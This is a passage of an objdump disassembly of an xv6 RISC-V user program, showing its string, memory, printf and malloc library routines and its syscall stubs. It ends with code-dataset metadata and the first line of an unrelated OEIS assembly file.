5e: 27e080e7 jalr 638(ra) # 2d8 <exit>
0000000000000062 <strcpy>:
62: 1141 addi sp,sp,-16
64: e422 sd s0,8(sp)
66: 0800 addi s0,sp,16
68: 87aa mv a5,a0
6a: 0585 addi a1,a1,1
6c: 0785 addi a5,a5,1
6e: fff5c703 lbu a4,-1(a1)
72: fee78fa3 sb a4,-1(a5)
76: fb75 bnez a4,6a <strcpy+0x8>
78: 6422 ld s0,8(sp)
7a: 0141 addi sp,sp,16
7c: 8082 ret
000000000000007e <strcmp>:
7e: 1141 addi sp,sp,-16
80: e422 sd s0,8(sp)
82: 0800 addi s0,sp,16
84: 00054783 lbu a5,0(a0)
88: cb91 beqz a5,9c <strcmp+0x1e>
8a: 0005c703 lbu a4,0(a1)
8e: 00f71763 bne a4,a5,9c <strcmp+0x1e>
92: 0505 addi a0,a0,1
94: 0585 addi a1,a1,1
96: 00054783 lbu a5,0(a0)
9a: fbe5 bnez a5,8a <strcmp+0xc>
9c: 0005c503 lbu a0,0(a1)
a0: 40a7853b subw a0,a5,a0
a4: 6422 ld s0,8(sp)
a6: 0141 addi sp,sp,16
a8: 8082 ret
00000000000000aa <strlen>:
aa: 1141 addi sp,sp,-16
ac: e422 sd s0,8(sp)
ae: 0800 addi s0,sp,16
b0: 00054783 lbu a5,0(a0)
b4: cf91 beqz a5,d0 <strlen+0x26>
b6: 0505 addi a0,a0,1
b8: 87aa mv a5,a0
ba: 4685 li a3,1
bc: 9e89 subw a3,a3,a0
be: 00f6853b addw a0,a3,a5
c2: 0785 addi a5,a5,1
c4: fff7c703 lbu a4,-1(a5)
c8: fb7d bnez a4,be <strlen+0x14>
ca: 6422 ld s0,8(sp)
cc: 0141 addi sp,sp,16
ce: 8082 ret
d0: 4501 li a0,0
d2: bfe5 j ca <strlen+0x20>
00000000000000d4 <memset>:
d4: 1141 addi sp,sp,-16
d6: e422 sd s0,8(sp)
d8: 0800 addi s0,sp,16
da: ce09 beqz a2,f4 <memset+0x20>
dc: 87aa mv a5,a0
de: fff6071b addiw a4,a2,-1
e2: 1702 slli a4,a4,0x20
e4: 9301 srli a4,a4,0x20
e6: 0705 addi a4,a4,1
e8: 972a add a4,a4,a0
ea: 00b78023 sb a1,0(a5)
ee: 0785 addi a5,a5,1
f0: fee79de3 bne a5,a4,ea <memset+0x16>
f4: 6422 ld s0,8(sp)
f6: 0141 addi sp,sp,16
f8: 8082 ret
00000000000000fa <strchr>:
fa: 1141 addi sp,sp,-16
fc: e422 sd s0,8(sp)
fe: 0800 addi s0,sp,16
100: 00054783 lbu a5,0(a0)
104: cb99 beqz a5,11a <strchr+0x20>
106: 00f58763 beq a1,a5,114 <strchr+0x1a>
10a: 0505 addi a0,a0,1
10c: 00054783 lbu a5,0(a0)
110: fbfd bnez a5,106 <strchr+0xc>
112: 4501 li a0,0
114: 6422 ld s0,8(sp)
116: 0141 addi sp,sp,16
118: 8082 ret
11a: 4501 li a0,0
11c: bfe5 j 114 <strchr+0x1a>
000000000000011e <gets>:
11e: 711d addi sp,sp,-96
120: ec86 sd ra,88(sp)
122: e8a2 sd s0,80(sp)
124: e4a6 sd s1,72(sp)
126: e0ca sd s2,64(sp)
128: fc4e sd s3,56(sp)
12a: f852 sd s4,48(sp)
12c: f456 sd s5,40(sp)
12e: f05a sd s6,32(sp)
130: ec5e sd s7,24(sp)
132: 1080 addi s0,sp,96
134: 8baa mv s7,a0
136: 8a2e mv s4,a1
138: 892a mv s2,a0
13a: 4481 li s1,0
13c: 4aa9 li s5,10
13e: 4b35 li s6,13
140: 89a6 mv s3,s1
142: 2485 addiw s1,s1,1
144: 0344d863 bge s1,s4,174 <gets+0x56>
148: 4605 li a2,1
14a: faf40593 addi a1,s0,-81
14e: 4501 li a0,0
150: 00000097 auipc ra,0x0
154: 1a0080e7 jalr 416(ra) # 2f0 <read>
158: 00a05e63 blez a0,174 <gets+0x56>
15c: faf44783 lbu a5,-81(s0)
160: 00f90023 sb a5,0(s2)
164: 01578763 beq a5,s5,172 <gets+0x54>
168: 0905 addi s2,s2,1
16a: fd679be3 bne a5,s6,140 <gets+0x22>
16e: 89a6 mv s3,s1
170: a011 j 174 <gets+0x56>
172: 89a6 mv s3,s1
174: 99de add s3,s3,s7
176: 00098023 sb zero,0(s3)
17a: 855e mv a0,s7
17c: 60e6 ld ra,88(sp)
17e: 6446 ld s0,80(sp)
180: 64a6 ld s1,72(sp)
182: 6906 ld s2,64(sp)
184: 79e2 ld s3,56(sp)
186: 7a42 ld s4,48(sp)
188: 7aa2 ld s5,40(sp)
18a: 7b02 ld s6,32(sp)
18c: 6be2 ld s7,24(sp)
18e: 6125 addi sp,sp,96
190: 8082 ret
0000000000000192 <stat>:
192: 1101 addi sp,sp,-32
194: ec06 sd ra,24(sp)
196: e822 sd s0,16(sp)
198: e426 sd s1,8(sp)
19a: e04a sd s2,0(sp)
19c: 1000 addi s0,sp,32
19e: 892e mv s2,a1
1a0: 4581 li a1,0
1a2: 00000097 auipc ra,0x0
1a6: 176080e7 jalr 374(ra) # 318 <open>
1aa: 02054563 bltz a0,1d4 <stat+0x42>
1ae: 84aa mv s1,a0
1b0: 85ca mv a1,s2
1b2: 00000097 auipc ra,0x0
1b6: 17e080e7 jalr 382(ra) # 330 <fstat>
1ba: 892a mv s2,a0
1bc: 8526 mv a0,s1
1be: 00000097 auipc ra,0x0
1c2: 142080e7 jalr 322(ra) # 300 <close>
1c6: 854a mv a0,s2
1c8: 60e2 ld ra,24(sp)
1ca: 6442 ld s0,16(sp)
1cc: 64a2 ld s1,8(sp)
1ce: 6902 ld s2,0(sp)
1d0: 6105 addi sp,sp,32
1d2: 8082 ret
1d4: 597d li s2,-1
1d6: bfc5 j 1c6 <stat+0x34>
00000000000001d8 <atoi>:
1d8: 1141 addi sp,sp,-16
1da: e422 sd s0,8(sp)
1dc: 0800 addi s0,sp,16
1de: 00054603 lbu a2,0(a0)
1e2: fd06079b addiw a5,a2,-48
1e6: 0ff7f793 andi a5,a5,255
1ea: 4725 li a4,9
1ec: 02f76963 bltu a4,a5,21e <atoi+0x46>
1f0: 86aa mv a3,a0
1f2: 4501 li a0,0
1f4: 45a5 li a1,9
1f6: 0685 addi a3,a3,1
1f8: 0025179b slliw a5,a0,0x2
1fc: 9fa9 addw a5,a5,a0
1fe: 0017979b slliw a5,a5,0x1
202: 9fb1 addw a5,a5,a2
204: fd07851b addiw a0,a5,-48
208: 0006c603 lbu a2,0(a3)
20c: fd06071b addiw a4,a2,-48
210: 0ff77713 andi a4,a4,255
214: fee5f1e3 bgeu a1,a4,1f6 <atoi+0x1e>
218: 6422 ld s0,8(sp)
21a: 0141 addi sp,sp,16
21c: 8082 ret
21e: 4501 li a0,0
220: bfe5 j 218 <atoi+0x40>
0000000000000222 <memmove>:
222: 1141 addi sp,sp,-16
224: e422 sd s0,8(sp)
226: 0800 addi s0,sp,16
228: 02b57663 bgeu a0,a1,254 <memmove+0x32>
22c: 02c05163 blez a2,24e <memmove+0x2c>
230: fff6079b addiw a5,a2,-1
234: 1782 slli a5,a5,0x20
236: 9381 srli a5,a5,0x20
238: 0785 addi a5,a5,1
23a: 97aa add a5,a5,a0
23c: 872a mv a4,a0
23e: 0585 addi a1,a1,1
240: 0705 addi a4,a4,1
242: fff5c683 lbu a3,-1(a1)
246: fed70fa3 sb a3,-1(a4)
24a: fee79ae3 bne a5,a4,23e <memmove+0x1c>
24e: 6422 ld s0,8(sp)
250: 0141 addi sp,sp,16
252: 8082 ret
254: 00c50733 add a4,a0,a2
258: 95b2 add a1,a1,a2
25a: fec05ae3 blez a2,24e <memmove+0x2c>
25e: fff6079b addiw a5,a2,-1
262: 1782 slli a5,a5,0x20
264: 9381 srli a5,a5,0x20
266: fff7c793 not a5,a5
26a: 97ba add a5,a5,a4
26c: 15fd addi a1,a1,-1
26e: 177d addi a4,a4,-1
270: 0005c683 lbu a3,0(a1)
274: 00d70023 sb a3,0(a4)
278: fee79ae3 bne a5,a4,26c <memmove+0x4a>
27c: bfc9 j 24e <memmove+0x2c>
000000000000027e <memcmp>:
27e: 1141 addi sp,sp,-16
280: e422 sd s0,8(sp)
282: 0800 addi s0,sp,16
284: ca05 beqz a2,2b4 <memcmp+0x36>
286: fff6069b addiw a3,a2,-1
28a: 1682 slli a3,a3,0x20
28c: 9281 srli a3,a3,0x20
28e: 0685 addi a3,a3,1
290: 96aa add a3,a3,a0
292: 00054783 lbu a5,0(a0)
296: 0005c703 lbu a4,0(a1)
29a: 00e79863 bne a5,a4,2aa <memcmp+0x2c>
29e: 0505 addi a0,a0,1
2a0: 0585 addi a1,a1,1
2a2: fed518e3 bne a0,a3,292 <memcmp+0x14>
2a6: 4501 li a0,0
2a8: a019 j 2ae <memcmp+0x30>
2aa: 40e7853b subw a0,a5,a4
2ae: 6422 ld s0,8(sp)
2b0: 0141 addi sp,sp,16
2b2: 8082 ret
2b4: 4501 li a0,0
2b6: bfe5 j 2ae <memcmp+0x30>
00000000000002b8 <memcpy>:
2b8: 1141 addi sp,sp,-16
2ba: e406 sd ra,8(sp)
2bc: e022 sd s0,0(sp)
2be: 0800 addi s0,sp,16
2c0: 00000097 auipc ra,0x0
2c4: f62080e7 jalr -158(ra) # 222 <memmove>
2c8: 60a2 ld ra,8(sp)
2ca: 6402 ld s0,0(sp)
2cc: 0141 addi sp,sp,16
2ce: 8082 ret
00000000000002d0 <fork>:
# generated by usys.pl - do not edit
#include "kernel/syscall.h"
.global fork
fork:
li a7, SYS_fork
2d0: 4885 li a7,1
ecall
2d2: 00000073 ecall
ret
2d6: 8082 ret
00000000000002d8 <exit>:
.global exit
exit:
li a7, SYS_exit
2d8: 4889 li a7,2
ecall
2da: 00000073 ecall
ret
2de: 8082 ret
00000000000002e0 <wait>:
.global wait
wait:
li a7, SYS_wait
2e0: 488d li a7,3
ecall
2e2: 00000073 ecall
ret
2e6: 8082 ret
00000000000002e8 <pipe>:
.global pipe
pipe:
li a7, SYS_pipe
2e8: 4891 li a7,4
ecall
2ea: 00000073 ecall
ret
2ee: 8082 ret
00000000000002f0 <read>:
.global read
read:
li a7, SYS_read
2f0: 4895 li a7,5
ecall
2f2: 00000073 ecall
ret
2f6: 8082 ret
00000000000002f8 <write>:
.global write
write:
li a7, SYS_write
2f8: 48c1 li a7,16
ecall
2fa: 00000073 ecall
ret
2fe: 8082 ret
0000000000000300 <close>:
.global close
close:
li a7, SYS_close
300: 48d5 li a7,21
ecall
302: 00000073 ecall
ret
306: 8082 ret
0000000000000308 <kill>:
.global kill
kill:
li a7, SYS_kill
308: 4899 li a7,6
ecall
30a: 00000073 ecall
ret
30e: 8082 ret
0000000000000310 <exec>:
.global exec
exec:
li a7, SYS_exec
310: 489d li a7,7
ecall
312: 00000073 ecall
ret
316: 8082 ret
0000000000000318 <open>:
.global open
open:
li a7, SYS_open
318: 48bd li a7,15
ecall
31a: 00000073 ecall
ret
31e: 8082 ret
0000000000000320 <mknod>:
.global mknod
mknod:
li a7, SYS_mknod
320: 48c5 li a7,17
ecall
322: 00000073 ecall
ret
326: 8082 ret
0000000000000328 <unlink>:
.global unlink
unlink:
li a7, SYS_unlink
328: 48c9 li a7,18
ecall
32a: 00000073 ecall
ret
32e: 8082 ret
0000000000000330 <fstat>:
.global fstat
fstat:
li a7, SYS_fstat
330: 48a1 li a7,8
ecall
332: 00000073 ecall
ret
336: 8082 ret
0000000000000338 <link>:
.global link
link:
li a7, SYS_link
338: 48cd li a7,19
ecall
33a: 00000073 ecall
ret
33e: 8082 ret
0000000000000340 <mkdir>:
.global mkdir
mkdir:
li a7, SYS_mkdir
340: 48d1 li a7,20
ecall
342: 00000073 ecall
ret
346: 8082 ret
0000000000000348 <chdir>:
.global chdir
chdir:
li a7, SYS_chdir
348: 48a5 li a7,9
ecall
34a: 00000073 ecall
ret
34e: 8082 ret
0000000000000350 <dup>:
.global dup
dup:
li a7, SYS_dup
350: 48a9 li a7,10
ecall
352: 00000073 ecall
ret
356: 8082 ret
0000000000000358 <getpid>:
.global getpid
getpid:
li a7, SYS_getpid
358: 48ad li a7,11
ecall
35a: 00000073 ecall
ret
35e: 8082 ret
0000000000000360 <sbrk>:
.global sbrk
sbrk:
li a7, SYS_sbrk
360: 48b1 li a7,12
ecall
362: 00000073 ecall
ret
366: 8082 ret
0000000000000368 <sleep>:
.global sleep
sleep:
li a7, SYS_sleep
368: 48b5 li a7,13
ecall
36a: 00000073 ecall
ret
36e: 8082 ret
0000000000000370 <uptime>:
.global uptime
uptime:
li a7, SYS_uptime
370: 48b9 li a7,14
ecall
372: 00000073 ecall
ret
376: 8082 ret
0000000000000378 <set_priority>:
.global set_priority
set_priority:
li a7, SYS_set_priority
378: 48d9 li a7,22
ecall
37a: 00000073 ecall
ret
37e: 8082 ret
0000000000000380 <trace>:
.global trace
trace:
li a7, SYS_trace
380: 48dd li a7,23
ecall
382: 00000073 ecall
ret
386: 8082 ret
0000000000000388 <putc>:
388: 1101 addi sp,sp,-32
38a: ec06 sd ra,24(sp)
38c: e822 sd s0,16(sp)
38e: 1000 addi s0,sp,32
390: feb407a3 sb a1,-17(s0)
394: 4605 li a2,1
396: fef40593 addi a1,s0,-17
39a: 00000097 auipc ra,0x0
39e: f5e080e7 jalr -162(ra) # 2f8 <write>
3a2: 60e2 ld ra,24(sp)
3a4: 6442 ld s0,16(sp)
3a6: 6105 addi sp,sp,32
3a8: 8082 ret
00000000000003aa <printint>:
3aa: 7139 addi sp,sp,-64
3ac: fc06 sd ra,56(sp)
3ae: f822 sd s0,48(sp)
3b0: f426 sd s1,40(sp)
3b2: f04a sd s2,32(sp)
3b4: ec4e sd s3,24(sp)
3b6: 0080 addi s0,sp,64
3b8: 84aa mv s1,a0
3ba: c299 beqz a3,3c0 <printint+0x16>
3bc: 0805c863 bltz a1,44c <printint+0xa2>
3c0: 2581 sext.w a1,a1
3c2: 4881 li a7,0
3c4: fc040693 addi a3,s0,-64
3c8: 4701 li a4,0
3ca: 2601 sext.w a2,a2
3cc: 00000517 auipc a0,0x0
3d0: 45450513 addi a0,a0,1108 # 820 <digits>
3d4: 883a mv a6,a4
3d6: 2705 addiw a4,a4,1
3d8: 02c5f7bb remuw a5,a1,a2
3dc: 1782 slli a5,a5,0x20
3de: 9381 srli a5,a5,0x20
3e0: 97aa add a5,a5,a0
3e2: 0007c783 lbu a5,0(a5)
3e6: 00f68023 sb a5,0(a3)
3ea: 0005879b sext.w a5,a1
3ee: 02c5d5bb divuw a1,a1,a2
3f2: 0685 addi a3,a3,1
3f4: fec7f0e3 bgeu a5,a2,3d4 <printint+0x2a>
3f8: 00088b63 beqz a7,40e <printint+0x64>
3fc: fd040793 addi a5,s0,-48
400: 973e add a4,a4,a5
402: 02d00793 li a5,45
406: fef70823 sb a5,-16(a4)
40a: 0028071b addiw a4,a6,2
40e: 02e05863 blez a4,43e <printint+0x94>
412: fc040793 addi a5,s0,-64
416: 00e78933 add s2,a5,a4
41a: fff78993 addi s3,a5,-1
41e: 99ba add s3,s3,a4
420: 377d addiw a4,a4,-1
422: 1702 slli a4,a4,0x20
424: 9301 srli a4,a4,0x20
426: 40e989b3 sub s3,s3,a4
42a: fff94583 lbu a1,-1(s2)
42e: 8526 mv a0,s1
430: 00000097 auipc ra,0x0
434: f58080e7 jalr -168(ra) # 388 <putc>
438: 197d addi s2,s2,-1
43a: ff3918e3 bne s2,s3,42a <printint+0x80>
43e: 70e2 ld ra,56(sp)
440: 7442 ld s0,48(sp)
442: 74a2 ld s1,40(sp)
444: 7902 ld s2,32(sp)
446: 69e2 ld s3,24(sp)
448: 6121 addi sp,sp,64
44a: 8082 ret
44c: 40b005bb negw a1,a1
450: 4885 li a7,1
452: bf8d j 3c4 <printint+0x1a>
0000000000000454 <vprintf>:
454: 7119 addi sp,sp,-128
456: fc86 sd ra,120(sp)
458: f8a2 sd s0,112(sp)
45a: f4a6 sd s1,104(sp)
45c: f0ca sd s2,96(sp)
45e: ecce sd s3,88(sp)
460: e8d2 sd s4,80(sp)
462: e4d6 sd s5,72(sp)
464: e0da sd s6,64(sp)
466: fc5e sd s7,56(sp)
468: f862 sd s8,48(sp)
46a: f466 sd s9,40(sp)
46c: f06a sd s10,32(sp)
46e: ec6e sd s11,24(sp)
470: 0100 addi s0,sp,128
472: 0005c903 lbu s2,0(a1)
476: 18090f63 beqz s2,614 <vprintf+0x1c0>
47a: 8aaa mv s5,a0
47c: 8b32 mv s6,a2
47e: 00158493 addi s1,a1,1
482: 4981 li s3,0
484: 02500a13 li s4,37
488: 06400c13 li s8,100
48c: 06c00c93 li s9,108
490: 07800d13 li s10,120
494: 07000d93 li s11,112
498: 00000b97 auipc s7,0x0
49c: 388b8b93 addi s7,s7,904 # 820 <digits>
4a0: a839 j 4be <vprintf+0x6a>
4a2: 85ca mv a1,s2
4a4: 8556 mv a0,s5
4a6: 00000097 auipc ra,0x0
4aa: ee2080e7 jalr -286(ra) # 388 <putc>
4ae: a019 j 4b4 <vprintf+0x60>
4b0: 01498f63 beq s3,s4,4ce <vprintf+0x7a>
4b4: 0485 addi s1,s1,1
4b6: fff4c903 lbu s2,-1(s1)
4ba: 14090d63 beqz s2,614 <vprintf+0x1c0>
4be: 0009079b sext.w a5,s2
4c2: fe0997e3 bnez s3,4b0 <vprintf+0x5c>
4c6: fd479ee3 bne a5,s4,4a2 <vprintf+0x4e>
4ca: 89be mv s3,a5
4cc: b7e5 j 4b4 <vprintf+0x60>
4ce: 05878063 beq a5,s8,50e <vprintf+0xba>
4d2: 05978c63 beq a5,s9,52a <vprintf+0xd6>
4d6: 07a78863 beq a5,s10,546 <vprintf+0xf2>
4da: 09b78463 beq a5,s11,562 <vprintf+0x10e>
4de: 07300713 li a4,115
4e2: 0ce78663 beq a5,a4,5ae <vprintf+0x15a>
4e6: 06300713 li a4,99
4ea: 0ee78e63 beq a5,a4,5e6 <vprintf+0x192>
4ee: 11478863 beq a5,s4,5fe <vprintf+0x1aa>
4f2: 85d2 mv a1,s4
4f4: 8556 mv a0,s5
4f6: 00000097 auipc ra,0x0
4fa: e92080e7 jalr -366(ra) # 388 <putc>
4fe: 85ca mv a1,s2
500: 8556 mv a0,s5
502: 00000097 auipc ra,0x0
506: e86080e7 jalr -378(ra) # 388 <putc>
50a: 4981 li s3,0
50c: b765 j 4b4 <vprintf+0x60>
50e: 008b0913 addi s2,s6,8
512: 4685 li a3,1
514: 4629 li a2,10
516: 000b2583 lw a1,0(s6)
51a: 8556 mv a0,s5
51c: 00000097 auipc ra,0x0
520: e8e080e7 jalr -370(ra) # 3aa <printint>
524: 8b4a mv s6,s2
526: 4981 li s3,0
528: b771 j 4b4 <vprintf+0x60>
52a: 008b0913 addi s2,s6,8
52e: 4681 li a3,0
530: 4629 li a2,10
532: 000b2583 lw a1,0(s6)
536: 8556 mv a0,s5
538: 00000097 auipc ra,0x0
53c: e72080e7 jalr -398(ra) # 3aa <printint>
540: 8b4a mv s6,s2
542: 4981 li s3,0
544: bf85 j 4b4 <vprintf+0x60>
546: 008b0913 addi s2,s6,8
54a: 4681 li a3,0
54c: 4641 li a2,16
54e: 000b2583 lw a1,0(s6)
552: 8556 mv a0,s5
554: 00000097 auipc ra,0x0
558: e56080e7 jalr -426(ra) # 3aa <printint>
55c: 8b4a mv s6,s2
55e: 4981 li s3,0
560: bf91 j 4b4 <vprintf+0x60>
562: 008b0793 addi a5,s6,8
566: f8f43423 sd a5,-120(s0)
56a: 000b3983 ld s3,0(s6)
56e: 03000593 li a1,48
572: 8556 mv a0,s5
574: 00000097 auipc ra,0x0
578: e14080e7 jalr -492(ra) # 388 <putc>
57c: 85ea mv a1,s10
57e: 8556 mv a0,s5
580: 00000097 auipc ra,0x0
584: e08080e7 jalr -504(ra) # 388 <putc>
588: 4941 li s2,16
58a: 03c9d793 srli a5,s3,0x3c
58e: 97de add a5,a5,s7
590: 0007c583 lbu a1,0(a5)
594: 8556 mv a0,s5
596: 00000097 auipc ra,0x0
59a: df2080e7 jalr -526(ra) # 388 <putc>
59e: 0992 slli s3,s3,0x4
5a0: 397d addiw s2,s2,-1
5a2: fe0914e3 bnez s2,58a <vprintf+0x136>
5a6: f8843b03 ld s6,-120(s0)
5aa: 4981 li s3,0
5ac: b721 j 4b4 <vprintf+0x60>
5ae: 008b0993 addi s3,s6,8
5b2: 000b3903 ld s2,0(s6)
5b6: 02090163 beqz s2,5d8 <vprintf+0x184>
5ba: 00094583 lbu a1,0(s2)
5be: c9a1 beqz a1,60e <vprintf+0x1ba>
5c0: 8556 mv a0,s5
5c2: 00000097 auipc ra,0x0
5c6: dc6080e7 jalr -570(ra) # 388 <putc>
5ca: 0905 addi s2,s2,1
5cc: 00094583 lbu a1,0(s2)
5d0: f9e5 bnez a1,5c0 <vprintf+0x16c>
5d2: 8b4e mv s6,s3
5d4: 4981 li s3,0
5d6: bdf9 j 4b4 <vprintf+0x60>
5d8: 00000917 auipc s2,0x0
5dc: 24090913 addi s2,s2,576 # 818 <malloc+0xfa>
5e0: 02800593 li a1,40
5e4: bff1 j 5c0 <vprintf+0x16c>
5e6: 008b0913 addi s2,s6,8
5ea: 000b4583 lbu a1,0(s6)
5ee: 8556 mv a0,s5
5f0: 00000097 auipc ra,0x0
5f4: d98080e7 jalr -616(ra) # 388 <putc>
5f8: 8b4a mv s6,s2
5fa: 4981 li s3,0
5fc: bd65 j 4b4 <vprintf+0x60>
5fe: 85d2 mv a1,s4
600: 8556 mv a0,s5
602: 00000097 auipc ra,0x0
606: d86080e7 jalr -634(ra) # 388 <putc>
60a: 4981 li s3,0
60c: b565 j 4b4 <vprintf+0x60>
60e: 8b4e mv s6,s3
610: 4981 li s3,0
612: b54d j 4b4 <vprintf+0x60>
614: 70e6 ld ra,120(sp)
616: 7446 ld s0,112(sp)
618: 74a6 ld s1,104(sp)
61a: 7906 ld s2,96(sp)
61c: 69e6 ld s3,88(sp)
61e: 6a46 ld s4,80(sp)
620: 6aa6 ld s5,72(sp)
622: 6b06 ld s6,64(sp)
624: 7be2 ld s7,56(sp)
626: 7c42 ld s8,48(sp)
628: 7ca2 ld s9,40(sp)
62a: 7d02 ld s10,32(sp)
62c: 6de2 ld s11,24(sp)
62e: 6109 addi sp,sp,128
630: 8082 ret
0000000000000632 <fprintf>:
632: 715d addi sp,sp,-80
634: ec06 sd ra,24(sp)
636: e822 sd s0,16(sp)
638: 1000 addi s0,sp,32
63a: e010 sd a2,0(s0)
63c: e414 sd a3,8(s0)
63e: e818 sd a4,16(s0)
640: ec1c sd a5,24(s0)
642: 03043023 sd a6,32(s0)
646: 03143423 sd a7,40(s0)
64a: fe843423 sd s0,-24(s0)
64e: 8622 mv a2,s0
650: 00000097 auipc ra,0x0
654: e04080e7 jalr -508(ra) # 454 <vprintf>
658: 60e2 ld ra,24(sp)
65a: 6442 ld s0,16(sp)
65c: 6161 addi sp,sp,80
65e: 8082 ret
0000000000000660 <printf>:
660: 711d addi sp,sp,-96
662: ec06 sd ra,24(sp)
664: e822 sd s0,16(sp)
666: 1000 addi s0,sp,32
668: e40c sd a1,8(s0)
66a: e810 sd a2,16(s0)
66c: ec14 sd a3,24(s0)
66e: f018 sd a4,32(s0)
670: f41c sd a5,40(s0)
672: 03043823 sd a6,48(s0)
676: 03143c23 sd a7,56(s0)
67a: 00840613 addi a2,s0,8
67e: fec43423 sd a2,-24(s0)
682: 85aa mv a1,a0
684: 4505 li a0,1
686: 00000097 auipc ra,0x0
68a: dce080e7 jalr -562(ra) # 454 <vprintf>
68e: 60e2 ld ra,24(sp)
690: 6442 ld s0,16(sp)
692: 6125 addi sp,sp,96
694: 8082 ret
0000000000000696 <free>:
696: 1141 addi sp,sp,-16
698: e422 sd s0,8(sp)
69a: 0800 addi s0,sp,16
69c: ff050693 addi a3,a0,-16
6a0: 00000797 auipc a5,0x0
6a4: 1987b783 ld a5,408(a5) # 838 <freep>
6a8: a805 j 6d8 <free+0x42>
6aa: 4618 lw a4,8(a2)
6ac: 9db9 addw a1,a1,a4
6ae: feb52c23 sw a1,-8(a0)
6b2: 6398 ld a4,0(a5)
6b4: 6318 ld a4,0(a4)
6b6: fee53823 sd a4,-16(a0)
6ba: a091 j 6fe <free+0x68>
6bc: ff852703 lw a4,-8(a0)
6c0: 9e39 addw a2,a2,a4
6c2: c790 sw a2,8(a5)
6c4: ff053703 ld a4,-16(a0)
6c8: e398 sd a4,0(a5)
6ca: a099 j 710 <free+0x7a>
6cc: 6398 ld a4,0(a5)
6ce: 00e7e463 bltu a5,a4,6d6 <free+0x40>
6d2: 00e6ea63 bltu a3,a4,6e6 <free+0x50>
6d6: 87ba mv a5,a4
6d8: fed7fae3 bgeu a5,a3,6cc <free+0x36>
6dc: 6398 ld a4,0(a5)
6de: 00e6e463 bltu a3,a4,6e6 <free+0x50>
6e2: fee7eae3 bltu a5,a4,6d6 <free+0x40>
6e6: ff852583 lw a1,-8(a0)
6ea: 6390 ld a2,0(a5)
6ec: 02059713 slli a4,a1,0x20
6f0: 9301 srli a4,a4,0x20
6f2: 0712 slli a4,a4,0x4
6f4: 9736 add a4,a4,a3
6f6: fae60ae3 beq a2,a4,6aa <free+0x14>
6fa: fec53823 sd a2,-16(a0)
6fe: 4790 lw a2,8(a5)
700: 02061713 slli a4,a2,0x20
704: 9301 srli a4,a4,0x20
706: 0712 slli a4,a4,0x4
708: 973e add a4,a4,a5
70a: fae689e3 beq a3,a4,6bc <free+0x26>
70e: e394 sd a3,0(a5)
710: 00000717 auipc a4,0x0
714: 12f73423 sd a5,296(a4) # 838 <freep>
718: 6422 ld s0,8(sp)
71a: 0141 addi sp,sp,16
71c: 8082 ret
000000000000071e <malloc>:
71e: 7139 addi sp,sp,-64
720: fc06 sd ra,56(sp)
722: f822 sd s0,48(sp)
724: f426 sd s1,40(sp)
726: f04a sd s2,32(sp)
728: ec4e sd s3,24(sp)
72a: e852 sd s4,16(sp)
72c: e456 sd s5,8(sp)
72e: e05a sd s6,0(sp)
730: 0080 addi s0,sp,64
732: 02051493 slli s1,a0,0x20
736: 9081 srli s1,s1,0x20
738: 04bd addi s1,s1,15
73a: 8091 srli s1,s1,0x4
73c: 0014899b addiw s3,s1,1
740: 0485 addi s1,s1,1
742: 00000517 auipc a0,0x0
746: 0f653503 ld a0,246(a0) # 838 <freep>
74a: c515 beqz a0,776 <malloc+0x58>
74c: 611c ld a5,0(a0)
74e: 4798 lw a4,8(a5)
750: 02977f63 bgeu a4,s1,78e <malloc+0x70>
754: 8a4e mv s4,s3
756: 0009871b sext.w a4,s3
75a: 6685 lui a3,0x1
75c: 00d77363 bgeu a4,a3,762 <malloc+0x44>
760: 6a05 lui s4,0x1
762: 000a0b1b sext.w s6,s4
766: 004a1a1b slliw s4,s4,0x4
76a: 00000917 auipc s2,0x0
76e: 0ce90913 addi s2,s2,206 # 838 <freep>
772: 5afd li s5,-1
774: a88d j 7e6 <malloc+0xc8>
776: 00000797 auipc a5,0x0
77a: 0ca78793 addi a5,a5,202 # 840 <base>
77e: 00000717 auipc a4,0x0
782: 0af73d23 sd a5,186(a4) # 838 <freep>
786: e39c sd a5,0(a5)
788: 0007a423 sw zero,8(a5)
78c: b7e1 j 754 <malloc+0x36>
78e: 02e48b63 beq s1,a4,7c4 <malloc+0xa6>
792: 4137073b subw a4,a4,s3
796: c798 sw a4,8(a5)
798: 1702 slli a4,a4,0x20
79a: 9301 srli a4,a4,0x20
79c: 0712 slli a4,a4,0x4
79e: 97ba add a5,a5,a4
7a0: 0137a423 sw s3,8(a5)
7a4: 00000717 auipc a4,0x0
7a8: 08a73a23 sd a0,148(a4) # 838 <freep>
7ac: 01078513 addi a0,a5,16
7b0: 70e2 ld ra,56(sp)
7b2: 7442 ld s0,48(sp)
7b4: 74a2 ld s1,40(sp)
7b6: 7902 ld s2,32(sp)
7b8: 69e2 ld s3,24(sp)
7ba: 6a42 ld s4,16(sp)
7bc: 6aa2 ld s5,8(sp)
7be: 6b02 ld s6,0(sp)
7c0: 6121 addi sp,sp,64
7c2: 8082 ret
7c4: 6398 ld a4,0(a5)
7c6: e118 sd a4,0(a0)
7c8: bff1 j 7a4 <malloc+0x86>
7ca: 01652423 sw s6,8(a0)
7ce: 0541 addi a0,a0,16
7d0: 00000097 auipc ra,0x0
7d4: ec6080e7 jalr -314(ra) # 696 <free>
7d8: 00093503 ld a0,0(s2)
7dc: d971 beqz a0,7b0 <malloc+0x92>
7de: 611c ld a5,0(a0)
7e0: 4798 lw a4,8(a5)
7e2: fa9776e3 bgeu a4,s1,78e <malloc+0x70>
7e6: 00093703 ld a4,0(s2)
7ea: 853e mv a0,a5
7ec: fef719e3 bne a4,a5,7de <malloc+0xc0>
7f0: 8552 mv a0,s4
7f2: 00000097 auipc ra,0x0
7f6: b6e080e7 jalr -1170(ra) # 360 <sbrk>
7fa: fd5518e3 bne a0,s5,7ca <malloc+0xac>
7fe: 4501 li a0,0
800: bf45 j 7b0 <malloc+0x92>
| 33.892857 | 60 | 0.464971 |
4a51a6e004989d06134fd8c4c486095d87df00a4 | 525 | asm | Assembly | oeis/140/A140664.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/140/A140664.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/140/A140664.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A140664: a(n) = A014963(n)*mobius(n).
